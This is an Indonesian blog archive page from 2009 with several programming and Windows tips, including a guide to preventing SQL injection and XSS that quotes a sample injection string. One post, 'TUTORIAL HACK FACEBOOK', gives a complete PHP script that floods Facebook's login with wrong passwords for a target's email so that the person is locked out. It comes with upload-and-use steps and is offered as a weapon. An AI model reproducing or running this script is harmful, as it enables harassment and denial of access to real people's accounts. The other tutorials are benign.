Arsip

Archive for Agustus, 2009

TUTORIAL SETTING DNS DAN HOSTING

Agustus 30, 2009 34 komentar

TUTORIAL SETTING DNS DAN HOSTING GRATIS

Web HostingCO.CC:Free Domain

Bagi kamu yang belum mempunyai domain sendiri, sekarang sudah saatnya membuat domain sendiri. Supaya website kamu lebih bagus dan lebih profesional kelihatannya. untuk domain dan hostingnya Ngak usah yang bayar, cukup yang gratisan aja. itung-itung baru belajar, Qey. Di bedah kali ini saya akan menjelaskan tutorial TUTORIAL SETTING DNS DAN HOSTING GRATIS. ikutin yaa..
CO.CC:Free Domain
Jika sudah mendaftarkan diri Anda di www.co.cc dan http://www.000webhost.com. Kini saatnya melakukan proses pengaturan antara DNS co.cc dengan server 000webhost. Jika belum daftar, silahkan daftar terlebih dahulu, di sini www.co.cc (untuk nama Domain anda) dan http://www.000webhost.com (untuk hosting website anda). Pengaturan ini dilakukan agar domain Anda dapat menampilkan halaman web yang tersimpan di server 000webhost. Proses pengaturan ini hanya memakan waktu beberapa menit saja. Dan berikut ini adalah cara pengaturannya :
Untuk proses setting, kita membutuhkan data-data server. Untuk itu, kita harus login terlebih dahulu untuk mendapat data-data tersebut. Data yang dibutuhkan hanya name server saja untuk proses setting ini. Agar pada saat DNS Anda diakses maka secara otomatis DNS Anda akan mendirect data-data yang ada diserver ke komputer si user. Login ke http://www.member.000webhost.com dan masukkan username serta password Anda.
Setelah berhasil login, Anda akan masuk kedalam halaman index dari 000webhost. Langkah selanjutnya Anda klik Go To CPanel. CPanel merupakan Sebuah Control Panel yang terdapat di dalam server. Jadi proses setting, upload, download, dan maintanance akan dilakukan disini. Gambar 1.1

Gambar 1.1. Member Main Page

Klik Go To CPanel agar Anda dapat memasuki main menu.

Kemudian, Pilih menu View Account Detail. Semua informasi mengenai server ada disini. Gambar 1.2

Gambar 1.2. Main Menu

Disini Anda akan mendapatkan name server yang akan diberikan oleh server. Catat dan ingatlah name server Anda. Karena nanti kita akan menggunakan name server ini ke DNS Anda.

Gambar 1.3. View Account Detail

Catatlah Name server Detail. Di dalam contoh gambar name server1 adalah ns01.000webhost.com, sedangkan name server 2 adalah : ns02.000webhost.com

Setelah mendapatkan Name server 1 dan 2. Maka proses selanjutanya adalah men-setting DNS kita dengan name server 1 dan 2 yang telah didapatkan tadi. Setting DNS dengan name server 1 dan 2. Langkah-langkahnya adalah sebagai berikut :
Kemudian, masukkan username ( email ) dan password Anda hingga Anda dapat masuk kedalam halaman Home [ Manage Domain ]. Gambar 1.4

Gambar 1.4. Manage Domain

Klik DNS yang ingin Anda setting. Sampai masuk kedalam DNS setting. Gambar 1.5

Gambar 1.5. Setting DNS

Sekarang saatnya saya akan menunjukan pengaturan pada Domain anda. Masuk ke menu Manage Domain -> Manage DNS. Kemudian Masukkan name server 1 dan 2 yang telah disediakan bisa dilihat pada gambar 1.3. (lihat pada gambar 1.6).

Gambar 1.6. Manage DNS

Kemudian Klik Set Up. Proses setting DNS Anda telah selesai. Tunggulah kurang lebih 2 x 24 jam agar server dapat memverifikasi DNS Anda.
Semoga bermanfaat.

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc

DOWNLOAD ARTIKELNYA…

Kategori:TIPS-TRIK

TUTORIAL ARRAY ATAU MATRIX

Agustus 19, 2009 3 komentar

TUTORIAL ARRAY ATAU MATRIX

Pada artikel ini akan dibahas tentang penggunaan array atau matriks dalam MATLAB, mulai dari cara mengassign, membuat array multidimensi dan manipulasi elemen array.

Kesederhanaan dalam proses assignment variabel terhadap nilai bertipe array atau matriks ini disebabkan tidak diperlukannya pendefinisian ukuran (size) array atau matriks pada variabel tersebut. Secara otomatis, size atau dimensi dari variabel bertipe array ini akan menyesuaikan dengan array yang diassign atau dengan kata lain size untuk variabel bertipe array ini bersifat dinamis. Dengan demikian, kita tidak perlu pusing memikirkan size variabel yang diperlukan untuk suatu proses perhitungan.

Bagaimana caranya melakukan proses assignment variabel dengan nilai bertipe array atau matriks? Mudah sekali… yaitu hanya dengan mengapit elemen-elemen array dengan tanda kurung siku. Contoh:

>> arrayKu = [1 2 3 4 5]

Maksud perintah di atas adalah mengassign ‘arrayKu’ dengan nilai bertipe data array dengan size 1 x 5, dengan elemennya {1, 2, 3, 4, 5}. Kita bisa melihat outputnya di command window seperti di bawah ini:

arrayKu =

1 2 3 4 5

Dimensi array dapat juga diubah menjadi bentuk kolom 5 x 1, dengan cara:

>> arrayKu = [1; 2; 3; 4; 5]

Outputnya:

arrayKu =

1

2

3

4

5

Bagaimana dengan array berdimensi 3 x 4? Ya… no problem, berikut ini contohnya:

>> arrayKu = [1 2 3 4; 5 6 7 8; 9 10 11 12]

Outputnya:

arrayKu =

1 2 3 4

5 6 7 8

9 10 11 12

Mudah bukan?

OK selanjutnya, mungkin ada yang bertanya misalkan diketahui suatu array, katakanlah ‘arrayKu’ seperti di atas, bagaimana caranya mengambil atau menampilkan elemen yang bernilai ‘7′? Hmmm.. untuk melakukan hal ini, kita harus tahu posisi elemen ‘7′ ini, yaitu pada baris ke 2 kolom ke 3. Lalu tuliskan saja perintah ini:

>> arrayKu(2, 3)

Outputnya:

ans =

7

Berikutnya, misalkan kita ingin mengganti elemen ‘arrayKu’ pada baris ke 3 kolom ke 4 dengan nilai 100. Bagaimana caranya?

>> arrayKu(3, 4) = 100

Outputnya:

arrayKu =

1 2 3 4

5 6 7 8

9 10 11 100

Nah… ada pertanyaan lagi nih, bagaimana caranya mengambil semua elemen pada kolom pertama dari ‘arrayKu’? Ini dia perintahnya

>> arrayKu(:, 1)

Outputnya:

ans =

1

5

9

Bagaimana dengan mengambil semua elemen pada salah satu barisnya? misalkan baris ke 2? Mudah sekali…

>> arrayKu(2, 🙂

Outputnya:

ans =

5 6 7 8

Kita juga dapat memanipulasi semua elemen dalam satu kolom atau baris sekaligus melalui suatu perhitungan. Misalkan baris kedua dari ‘arrayKu’ diubah menjadi 2 kali mula-mula.

>> arrayKu(2, 🙂 = 2*arrayKu(2, 🙂

Outputnya:

arrayKu =

1 2 3 4

10 12 14 16

9 10 11 12

Sumber :

KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA

http://mr-amateur.co.cc

Kategori:PEMROGRAMAN

TUTORIAL JAVASCRIPT AUTOCOMPLETE COMBOBOX

Agustus 19, 2009 36 komentar

8 Aug, 2009 Tip n Trik, Web

Autocomplete combobox biasanya di temui pada halaman registrasi pada field Negara dan Propinsi. Ketika user memilih sebuah Negara dari combobox negara, maka combobox propinsi akan secara otomatis merefresh isi propinsinya, sesuai nama negara yang dipilihnya.

Berikut tutorial pembuatan autocomplete combo box menggunakan javascript:

Tutorial ini terdiri dari 4 file :

  1. combobox.html
    		<script src="combobox.js"><!--mce:0--></script>
    		<script src="ardi-ajax.js"><!--mce:1--></script>
    <h2>Auto Complete Combobox</h2>
    <select>
    			<option></option>
    			<option value="indonesia">Indonesia</option>
    			<option value="malaysia">Malaysia</option>
    			<option value="singapore">Singapore</option>
    		</select>
  2. combobox.js
    function autoCombobox(value)
    {
    	//Membuat URl yg disisipkan parameter yang dibutuhkan
    	var url="combobox.php"
    	url=url+"?jenis="+value
    	url=url+"&amp;sid="+Math.random()
    
    	ajax = new ardiAjax();
    	ajax.get(url,
    		function(data)
    		{
    		//Memasukkan hasil response ke textBox "comboBoxArea" di file HTML
    		document.getElementById("comboBoxArea").innerHTML=data;
    		}
    	);
    }
  3. combobox.php
     Array("Indonesia prop A", "Indonesia prop B", "Indonesia prop C", "Indonesia prop D"),
    		'malaysia' =&gt; Array("Malaysia prop A", "Malaysia prop B", "Malaysia prop C"),
    		'singapore' =&gt; Array("Singapore prop A", "Singapore prop B" , "Singapore prop C", "Sigapore prop D")
    	);
    
    	$arr;
    	if(isset($_GET['jenis']))
    	{
    		$arr = $data[$_GET['jenis']];
    	}
    ?&gt;
    <select>
    	<option></option>
    </select>
  4. ardi-ajax.js
    function ardiAjax()
    {
    	this.xmlHttp;
    
    	/**
    	 * @param1 : url = Alamat beserta parameter GET yang akan di parsing
    	 * @param2 : successFunc = Fungsi jika success. Penggunaan : successFunc(dataResponse)
    	 */
    	this.get = function(url, successFunc)
    	{
    
    		//Membuat XmlHttpObject
    		this.xmlHttp = this.GetXmlHttpObject();
    		if (this.xmlHttp==null)
    		{
    			alert ("Browser tidak support HTTP Request");
    			return;
    		}
    
    		//fungsi listener
    		this.xmlHttp.onreadystatechange=function()
    		{
    			//Jika requestnya menerima reponse "complete" yg artinya sukses
    			if (this.readyState==4 || this.readyState=="complete")
    			{
    				successFunc(this.responseText);
    			}
    		};
    
    		//mengirim secara get
    		this.xmlHttp.open("GET",url,true);
    		this.xmlHttp.send(null);
    	};
    
    	//Membuat XmlHttpObject untuk berbagai browser
    	this.GetXmlHttpObject = function()
    	{
    		var xmlhttp=null;
    
    		try
    		{
    			// Firefox, Opera 8.0+, Safari
    			xmlhttp=new XMLHttpRequest();
    		}
    		catch (e)
    		{
    			// Internet Explorer
    			try
    			{
    				xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
    			}
    			catch (e)
    			{
    				xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    			}
    		}
    		return xmlhttp;
    	};
    
    }

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc

Kategori:PEMROGRAMAN

ASP TUTORIAL – VBSCRIPT LOOP STATEMENT

Agustus 19, 2009 33 komentar

Looping digunakan untuk mengulang-ulang suatu blok pernyataan/action berdasarkan kondisi tertentu

Dalam Pemrograman ASP/VBScript dikenal beberapa pernyataan looping antara lain:

* Do…Loop

* While…Wend

* For…Next

* For Each…Next

Do…Loop

Pernyataan do…loop digunakan untuk perulangan berdasarkan suatu parameter kondisi yang harus terpenuhi, ada 2 bentuk perulangan do…loop ini berdasarkan penempatan parameter kondisi yaitu parameter kondisi di letakkan di awal pernyataan dan parameter kondisi di letakkan di akhir pernyataan. Syntax dari pernyataan do…loop sbb:

Do [While | Until] Kondisi

[Action]

[Exit Do]

[Action]

Loop

Atau

Do

[Action]

[Exit Do]

[Action]

Loop [While | Until] Kondisi

Perbedaan dari kedua pernyataan do…loop diatas:

* Parameter Kondisi diletakkan diawal pernyataan Evaluasi kondisi dilakukan sebelum loop, sehingga Jika kondisi tidak terpenuhi maka action yang ada didalam blok perulangan tidak akan di eksekusi.

* Parameter Kondisi diletakkan di akhir pernyataan Evaluasi kondisi dilakukan setelah loop, sehingga paling tidak blok action di eksekusi sekali baru kemudian di evaluasi apakah looping dilanjutkan atau tidak.

Contoh :

i = 0

do while i<10
Response.Write(i&”
“)

i=i+1

Loop

x = 0

do until x=10

Response.Write(x)&”

x=x+1

Loop

Kedua blok do..loop diatas akan menghasilkan angka 0 sampai dengan 9.

Pernyataan Exit Do digunakan untuk keluar dari blok perulangan meskipun kondisi perulangan masih memenuhi.

While..Wend

Perulangan While…Wend memiliki fungsi yang sama dengan Do While…Loop. Evaluasi kondisi selalu dilakukan di awal pernyataan. Syntax :

While Kondisi

[Action]

Wend

Contoh:

i = 0

while i<10
Response.Write(i&”
“)

i=i+1

Wend

Contoh diatas adalah bentuk while…wend dari contoh do while…Loop di section pertama tadi.

For..Next

Perulangan For..Next berfungsi untuk melakukan pengulangan blok action berdasarkan nilai awal dan akhir, dengan kata lain range looping ssudah diketahui. additional Step options berfungsi untuk menambahkan atau mengurangi variable nilai. Syntax :
For Nilai_Awal to Nilai_Akhir [Step Nilai_Langkah]

[Action]

[Exit For]

[Action]

Next

Silahkan jalankan contoh script berikut untuk langsung dapat melihat dan memahami cara kerja loop for..next [step]

For i=0 to 10

Response.Write(i&”
“)

Next

For i=0 to 10 step 2

Response.Write(i&”
“)

Next

For i=10 to 1 step -1

Response.Write(i&”
“)

Next

For Each…Next

Perulangan For Each Next digunakan untuk melakukan perulangan blok action untuk setiap element yang ada di dalam group/array atau koleksi. perulangan ini sangat berguna untuk array dan object koleksi.

Syntax :

For Each element In Group

[Action]

[Exit For]

[Action]

Next

Setiap kali eksekusi maka akan diambil nilai element dari group/array/koleksi yang didefinisikan dalam blok pernyataan untuk di-ikutkan didalam blok action/proses di dalam loop.

Contoh:

arr1 = array(1,2,3,4,5,6)

For Each nilai in arr1

Response.Write(nilai&”
“)

Next

arr2=array(“Lahir”,”Hidup”,”Mati”)

For Each sItem in arr2

Response.Write(sItem&”
“)

Next

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc

Kategori:PEMROGRAMAN

TUTORIAL HACK FACEBOOK

Agustus 14, 2009 57 komentar

TUTORIAL HACK FACEBOOK

Tutorial hack facebook yang akan saya share disini memiliki fungsi sama persis dengan software hack facebook yaitu bikin beku / ga bisa buad login facebook seseorang , tapi ini versi webphp 😀 jadi senjata yang harus anda siapkan adalah :
hosting yang support php dan curl (jangan 000webhost)
dan Notepad 😀
caranya mudah , copy script dibawah ini ke notepad :

<?
echo “<html><title>PHP Facebook Freezer</title><head><meta http-equiv=\”refresh\” content=\”600\”></head><body>”;
echo “<br><form method=post>Email : <input name=email><input type=submit value=Submit></form><br><br>”;
$email=$_POST[’email’];
$passwd=’123′;
if(isset($email) && isset($passwd)){
$kue=”/tmp/”.rand().”.txt”;
$url=’https://login.facebook.com/login.php&#8217;;
$login=”email=$email&pass=$passwd&login=Log In”;
define(“_COK_”, $kue);
curlget($url);
for ($number=1; $number<=30; $number++) {
$data=curlpost($url,$login);
}
echo $data;
}
function curlget($url){
$agent=$_SERVER[‘HTTP_USER_AGENT’];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_ENCODING, “”);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
function curlpost($url,$post){
$agent=$_SERVER[‘HTTP_USER_AGENT’];
$curl=curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERAGENT, $agent);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
curl_setopt($curl, CURLOPT_ENCODING, “”);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_FOLLOWLOCATION ,1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER ,1);
curl_setopt($curl, CURLOPT_COOKIEFILE, _COK_);
curl_setopt($curl, CURLOPT_COOKIEJAR, _COK_);
$data = curl_exec($curl);
curl_close ($curl);
return $data;
}
echo “</body></html>”;
?>

setelah kamu berhasil mengkopi script untuk hack facebook diatas , kini saatnya untuk menyimpan dengan nama nomoredisk.Php
setelah itu kamu upload file Fb.Php ke hostinganmu yang suport curl dan php
nih contoh jadinya klik disini
klo file udah di upload kini tinggal main ……… 😀 ,
buka file yang kamu upload tadi ex: http://wolimierz.org/images/nomoredisk.php
setelah itu masukan dah email target 😀 , maka dia ga akan bisa login (tapi ga permanent).

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc
http://www.hilmanpribadi.com

Kategori:HACKING

CARA MENCEGAH SQL INJECTION

Agustus 14, 2009 40 komentar

CARA MENCEGAH SQL INJECTION

Pengamanan Web Server Dan Site (Versi SQL Injection, JS, XSS, CSS)

Percaya atau tidak kalau mengamankan web itu lebih sulit daripada merusak tampilan atau merusak database dari web tersebut. Maraknya deface dan hacking yg dilakukan oleh beberapa orang yg dikarenakan kesalahan konfigurasi system atau kurangnya pengetahuan webmaster masih sering dilakukan.

1. Pencegahan SQL Injection, contoh sintak SQL Injection :

?or 1=1–

Penyerangan melalui teknik ini sama artinya dng penyerangan terhadap database. Untuk melakukan pencegahan terhadap SQL Injection ini, pertama seperti kita ketahui karakter ( ? ), (–), (NULL), (\x00), (\n), (\r), (?), (/), (/x1a) merupakan biang masalah dari SQL ini, tips nya yaitu escape semua special karakter tersebut untuk php/mysql:

mysql_real_escape_string. Atau dengan cara kedua yaitu filter semua karakter yang masuk dan hanya mengijinkan karakter ttt yg dpt di inputkan. Yg perlu diingat, Sql injection ini tidak hanya bisa masuk melalui inputan dari user tetapi juga bisa melalui URL dengan bantuan karakter ( ; ) yang arti dari karakter itu adalah ?baris dibelakang ; akan ikut di eksekusi?. Disarankan, abaikan semua karakter setelah alamat URL. Contoh script yang membatasi karakter yang bisa masukkan :

function validatepassword( input )

good_password_chars =

“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”

validatepassword = true

for i = 1 to len( input )

c = mid( input, i, 1 )

if ( InStr( good_password_chars, c ) = 0 ) then

validatepassword = false

exit function

end if

next

end function

2. Pencegahan XSS (Cross Side Scripting), contoh script XSS :
Pencurian cookie biasanya sering dilakukan melalui teknik ini. Dengan ditemukan kelemahan XSS ini maka user dapat menjalankan script melalui form, buku tamu atau URL. Walaupun perubahan yang bisa dilakukan hanya bersifat clien tetapi bila cookie dicuri lain soal…..! Jadi untuk mencegah XSS adalah dengan Konversi < dan > menjadi menjadi lt; dan gt; dan dengan diawali karakter & (itu berarti pengganti nilai < dan > dlm tag HTML) dan filter semua inputan dari user.

3. Pemasukkan Tag HTML.
Biasa cara ini kebanyakan dilakukan melalui buku tamu. Dengan cara ini seseorang dapat menambahkan tampilan sesuai dengan keinginan mereka. Dari beberapa pengalaman, biasanya para web master melakukan pencegahan ini dengan menambahkan karakter tertentu di awal karakter < atau >. Tapi fungsi untuk mencegah tag HTML sekarang sudah disediakan langsung oleh PHP jadi kita tinggal pakai saja (htmlspecialchars).

Contoh script :

function cleanup($value=””, $preserve=””, $tag=””) {

if (empty($preserve)) {

$value=strip_tags($value, $allowed_tags);

}

$value=htmlspecialchars($value);

return $value;

}

4. Batasi penggunaan Java Script dan jangan menggunakan java script untuk membuat sesuatu yang akan meyangkut hidup matinya web anda, karena java script bersifat client dan membuat akses yang akan sangat lambat. Disarankan gunakan aplikasi yang lain seperti PHP dan ASP karena sudah bersifat server.

5. Penyimpanan file database sebaiknya disimpan dlm directory private. Jangan pernah menyimpannya di directory public yang memungkinkan orang lain dapat mengaksesnya. Tapi biasanya di web hosting sudah menyediakan direktori khusus untuk database. Dalam keamanan database harus dilindungi dengan password. Koneksi sebaiknya di enkripsi dengan SSL. Data yang penting jangan disimpan secara langsung melainkan sebagai hash (md5) atau modifikasi dari md5 yaitu SHA-256 dan SHA-512 atau terenkripsi dengan bahasa pemrograman lain misalnya PHP.

6. Berhati hatilah memilih webhosting, itu sudah kami buktikan. Sehebat apapun web yang dibuat walaupun pengecekan password dibuat 2 kali dan di encrypt berapa kalipun kalau sudah server yang diserang kita tidak bisa berbuat apa apa.

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc

Kategori:TIPS-TRIK

TIPS-TRIK MEMPERCEPAT WINDOWS

Disini saya akan memberikan beberapa tips mempercepat kinerja windows dengan Optimalisasi Boot Disk, Mempercepat Performa Swapfile, dan mempercepat loading program.

# Mempercepat akses Folder – dengan mendisable Last Access Update.
Jika anda memiliki banyak folder dan subdirectories, maka akses ke Direktory2 Windows XP terasa sangat berat dan seringkali cuman membuang waktu. Dengan mengupdate time stamp di registry, yaitu last access update untuk semua sub directory. Proceed with caution: Langkah berikut bukan untuk N00bie
1. Start>Run>regedit
2. “HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contr ol\FileSystem”
3. Klik kanan di bagian yg kan (cari area yg kosong), lalu pilih ‘DWORD Value’
4. Bikin DWORD Value dengan nama ‘NtfsDisableLastAccessUpdate’
5. Klik kanan pada value baru terus pilih ‘Modify’
6. Ubah data menjadi ‘1’
7. Klik ‘OK’

# Mempercepat waktu Boot
Fitur yg lumayan asik dari Windows XP adalah kemampuan untuk mendefrag ketika ada dalam proses booting. Boot Defrag pada prinsip menata file2 yg relevan dengan booting secara berurutan. Secara default fitur ini telah diaktifkan pada beberapa Build Windows, tapi beberapa build windows tidak, ada baiknya kalo kita cross check terhadap fiotur yg satu ini.
1. Start Menu>Run
2. Regedit
3. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imizeFunction
4. Cari “Enable” dibagian kanan regedit
5. Klik “Modify”
6. Pilih “Y to enable”
7. Reboot

# Mempercepat Performa Swapfile
Jika anda memiliki ram lebih besar dari 256MB bisa dibilang tweaking yg ini akan membuat sistem anda berjalan lebih cepat. Tweaking ini pada dasarnya PC kita mengunakan setiap byte dari memori fisik yg terpasang di komputer kita, SEBELUM mengunakan swap file.
1. Start>Run
2. “msconfig.exe”>ok
3. Klik tab System.ini
4. Klik tanda plus pada tab 386enh
5. Klik kotak new kemudian ketik “ConservativeSwapfileUsage=1”
6. Klik OK
7. Restart

# Tps Mempercepat Shutdown Windows XP.
Tweaking ini mengurangi waktu tunggu secara otomatis ketika windows sudah menerima instruksi untuk shutdown.
1. Start>Run
2. ‘Regedit’>OK
3. ‘HKEY_CURRENT_USER\Control Panel\Desktop\’
4. Sorot ‘WaitToKillAppTimeout’
5. Klik kanan dan pilih modify
6. Ubah value menjadi ‘1000’
7. Klik ‘OK’
8. Sorot ‘HungAppTimeout’
9. Klik kanan dan pilih modify
10. Ubah value menjadi ‘1000’
11. Klik ‘OK’
12. ‘HKEY_USERS\.DEFAULT\Control Panel\Desktop’ sorot WaitToKillAppTimeout’
13. Klik kanan dan pilih modify
15. Ubah value ke ‘1000’
16. Klik ‘OK’
17. ‘HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contr ol\’ sorot ‘WaitToKillServiceTimeout’
19. Klik kanan dan pilih modify
20. Ubah value menjadi ‘1000’
21. Klik ‘OK’

# TIPS MEMPERCEPAT LOADING PROGRAM.
Tweaking ini bisa berjalan untuk sebagian besar program. Jika program tidak mau loading seperti yg diharapkan, silahkan aja dikembalikan ke setting semula.
1. Klik kanan pada icon/shortcut yg berkaitan dengan program.
2. properties
3. Pada kotak ‘target’, tambahkan ‘ /prefetch:1’ diakhir kalimat.
4. Klik “Ok”

Program akan loading lebih cepat.

# Optimalisasi Boot Disk
Windows memiliki fitur untuk secara otomatis mengoptimalkan boot disk setiap booting jika dirasa diperlukan oleh system. Fitur ini bisa anda set agar aktif atau non aktif, tapi sebaiknya anda buat fitur ini aktif agar proses booting anda jadi lebih cepat dan komputer menjadi optimal.
Langkah yang harus dilakukan adalah melalui registry.

1. Pada menu [star] klik [run] ketikan “regedit” (tanpa tanda kutip”)
2. Masuk pada sub key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction.
3. Pada tabel sebelah kanan, klik kanan kemudian pilih [New] > [String Value] dan beri nama Enable atau
cukup klik ganda saja jika String Value tersebut sudah ada.
4. Isikan nillinya dengan Y jika ingin mengaktifkan fitur, atau N untuk me-nonaktifkan fitur.
5. Tutup jendela Regedit kemudian restart komputer anda untuk mengaktifkan hasilnya.

# Ingin memberikan welcome message saat memasuki jendela log on ?
Langkahnya :

1. Klik Start -> Run
2. Ketik “regedit” tanpa tanda kutip, lalu OK
3. Masuk ke bagian HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon
4. Buat entry baru dengan mengklik kanan lalu pilih New -> String Value. Beri nama “LegalNoticeCaption”. Klik ganda, dan isilah Value data dengan 1.
5. Buat entry baru lagi dengan nama “LegalNoticeText” dengan cara sama. Isi value data dengan teks yang ingin ditampilkan saat log on. Tutup registry editor.
6. Restart atau log off.

Semoga bermanfaat…

Sumber :
KOMUNITAS PELAJAR ILMU KOMPUTER INDONESIA
http://mr-amateur.co.cc

Kategori:TIPS-TRIK